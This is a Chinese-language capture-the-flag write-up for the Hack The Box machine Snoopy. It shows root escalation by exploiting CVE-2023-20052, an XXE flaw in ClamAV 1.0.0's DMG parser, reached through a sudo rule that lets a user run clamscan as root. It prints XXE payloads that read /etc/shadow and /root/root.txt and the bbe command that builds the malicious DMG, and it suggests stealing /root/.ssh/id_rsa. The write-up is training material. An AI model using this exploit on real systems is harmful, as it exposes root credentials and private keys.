7bccd281b63344559cc0b1018f2c833c

SSH登入sbrown

Snoopy是賽季靶機,當時沒有公開PoC。

登入sbrown的SSH後,先看看sudo -l有沒有提權路徑。

Terminal
sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
sbrown@snoopy:~$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023

發現sbrown可以以root的身份以clamscan掃描scanfiles底下的檔案,且版本是1.0.0, 於是搜尋看看有沒有CVE。

CVE-2023-20052 - clamscan

結果從官方Blog得知, 該版本有兩項CVE:

  1. CVE-2023-20032: HFS+ parser的BOF弱點,當時沒有公開PoC,外加ClamAV多半是harden,所以先跳過。
  2. CVE-2023-20052: DMG檔案parser的XXE弱點,可能比較容易,所以先試試看。

分析clamscan的行為

從CVE描述的內容大概可推測,parser是在處理DMG檔的metadata時沒有過濾,導致XXE弱點。 為了分析clamscan處理DMG檔案的行為,先隨便下載一個DMG檔給它掃看看,在此使用macFUSE

首先直接用cat印出macFUSE檔案的內容,然後擷取下xml的部分,再把檔案丟給clamscan掃描並存下log,log的部分只看和 dmg 有關的記錄, 左右參照可知,關鍵字:blkxplst同時出現在兩邊,所以兩邊都嘗試XXE。

LibClamAV debug: cli_scandmg: Matched blkx
LibClamAV debug: dmg_decode_mish: startSector = 0 sectorCount = 32768 dataOffset = 0 stripeCount = 17
LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
LibClamAV debug: dmg_handle_mish: stripes in order!
LibClamAV debug: dmg_handle_mish: extracting block 0 to /tmp/20241115_134459-scantemp.2f1ff39fca/dmg-tmp.31edf014be/dmg00

人工製造XXE Payload

在此將常見的XXE payload改如dmg檔的metadata中。

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

PUBLIC開始到最後都要取代成payload,並且blkx的位置改成!# ENTRY的變數。

       308�(M-  Q�*C��?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist [<!ENTITY QQ SYSTEM "file:///root/root.txt"> ]>
<plist version="1.0">
<dict>
 <key>resource-fork</key>
 <dict>
  <key>&QQ;</key>
  <array>
   <dict>
    <key>Attributes</key>
    <string>0x0050</string>
    <key>CFName</key>
    <string>Gesamte Disk (Apple_HFS : 0)</string>
    <key>Data</key>
    <data>
       308�(M-  Q�*C��?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>resource-fork</key>
 <dict>
  <key>blkx</key>
  <array>
   <dict>
    <key>Attributes</key>
    <string>0x0050</string>
    <key>CFName</key>
    <string>Gesamte Disk (Apple_HFS : 0)</string>
    <key>Data</key>
    <data>

為什麼變數取名QQ

因為我們要直接修改binary檔案,有的時候長度比原始資料長會出錯。 blkx,長度4,所以payload包含關鍵字元:&**;,只允許長度為2的變數名。
同理,寫在PUBLIC後面的entry payload也不要超過原始長度也比較好。

如果是過短出錯,則補null byte(\00)。

sed沒辦法簡單地處理binary,在此使用bbe(Binary Block Editor),取代原始資料成payload。

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY QQ SYSTEM "file:///root/root.txt"> ]>|' -e 's/blkx/&QQ\;/' macfuse-4.8.2.dmg -o badfuse.dmg

把改好的惡意DMG,badfuse.dmg上傳掃描,成功讀取root.txt,當然也可以依樣畫葫蘆, 嘗試讀取/root/.ssh/id_rsa

Terminal
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ scp badfuse.dmg [email protected]:~
badfuse.dmg                                                                                                                          100% 6060KB   5.0MB/s   00:01

┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ ssh [email protected]
^[[FWelcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Nov 18 06:12:27 2024 from 10.10.14.10
sbrown@snoopy:~$ mv badfuse.dmg scanfiles/
sbrown@snoopy:~$ sudo clamscan --debug /home/sbrown/scanfiles/badfuse.dmg
LibClamAV debug: searching for unrar, user-searchpath: /usr/local/lib
LibClamAV debug: unrar support loaded from /usr/local/lib/libclamunrar_iface.so.11.0.0
LibClamAV debug: Initialized 1.0.0 engine
LibClamAV debug: Initializing phishcheck module
...
LibClamAV debug: DMG signature found at 6205254
LibClamAV debug: cli_scandmg: Found koly block @ 6205254
LibClamAV debug: cli_scandmg: data offset 0 len 6189522
LibClamAV debug: cli_scandmg: XML offset 6189522 len 3662
LibClamAV debug: cli_scandmg: Extracting into /tmp/20241118_080420-scantemp.795ee97ee0/dmg-tmp.8974336a00
LibClamAV debug: cli_magic_scan_nested_fmap_type: [6189522, +3662)
LibClamAV debug: magic_scan_nested_fmap_type: [0, +6205766), [6189522, +3662)
LibClamAV debug: Recognized ASCII text
LibClamAV debug: clean_cache_check: 60c484580e92b870d979af14befa44df is negative
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: matcher_run: performing regex matching on full map: 0+3662(3662) >= 3662
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: in cli_scanscript()
LibClamAV debug: matcher_run: performing regex matching on full map: 0+3284(3284) >= 3284
LibClamAV debug: matcher_run: performing regex matching on full map: 0+3284(3284) >= 3284
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0  at line 4997
LibClamAV debug: clean_cache_add: 60c484580e92b870d979af14befa44df (level 0)
LibClamAV debug: cli_scandmg: wanted blkx, text value is 59665e01f62a5f57f23aa847539b0ba0

LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: matcher_run: performing regex matching on full map: 6153600+52166(6205766) >= 6205766
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0  at line 4997
LibClamAV debug: clean_cache_add: 5182655f77c966b64269b7912b75d5b5 (level 0)
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
/home/sbrown/scanfiles/badfuse.dmg: OK
LibClamAV debug: Cleaning up phishcheck
LibClamAV debug: Freeing phishcheck struct
LibClamAV debug: Phishcheck cleaned up

----------- SCAN SUMMARY -----------
Known viruses: 8659055
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 12.59 MB
Data read: 5.92 MB (ratio 2.13:1)
Time: 27.076 sec (0 m 27 s)
Start Date: 2024:11:18 08:03:55
End Date:   2024:11:18 08:04:22
sbrown@snoopy:~$ Read from remote host snoopy.htb: Connection reset by peer
Connection to snoopy.htb closed.
client_loop: send disconnect: Broken pipe

Last update: 2024-12-23 Created: 2024-11-24